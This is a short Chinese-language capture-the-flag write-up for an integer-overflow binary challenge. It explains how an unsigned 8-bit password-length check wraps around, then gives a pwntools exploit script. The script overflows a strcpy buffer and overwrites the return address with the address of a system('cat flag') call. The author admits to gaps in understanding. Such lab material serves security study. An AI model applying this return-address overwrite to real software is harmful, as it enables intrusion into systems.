09_int_overflow

1.检查安全机制

图片.png
:运行一下,我们知道这是一个创建用户名和密码的程序,对用户名的长度和密码都有限制。
我们ctrl+1 找到了system("cat flag") 不知道怎么使用

2.找到溢出点


注:
strcpy:危险函数
unsigned __int8最大只能到达255 可是我们read(。。。)远超过255。
数据类型范围:https://docs.microsoft.com/zh-cn/previous-versions/s3f49ktz(v=vs.120)

利用思路:有点不理解整数溢出

1.发现v38位无符号整数,则最大只能是255
但是read函数能读取的长度是0x199,远大于255,那就可以进行整型溢出,让passwd的长度是 260264就可以了。
2.我们将程序的返回地址覆盖为system("cat flag")
注:帮助理解

EXP
from pwn import*

p = process('./int_overflow')

system_flag_addr = 0x804868B

p.recvuntil('choice:')
p.sendline("1")
p.recvuntil('username:\n')
p.sendline("tutu")
p.recvuntil('passwd:\n')

payload = 'A'*0x18 + p32(system_flag_addr)
payload = payload.ljust(262,'A')    //这有点不理解



p.sendline(payload)
p.interactive()

图片.png

你可能感兴趣的:(09_int_overflow)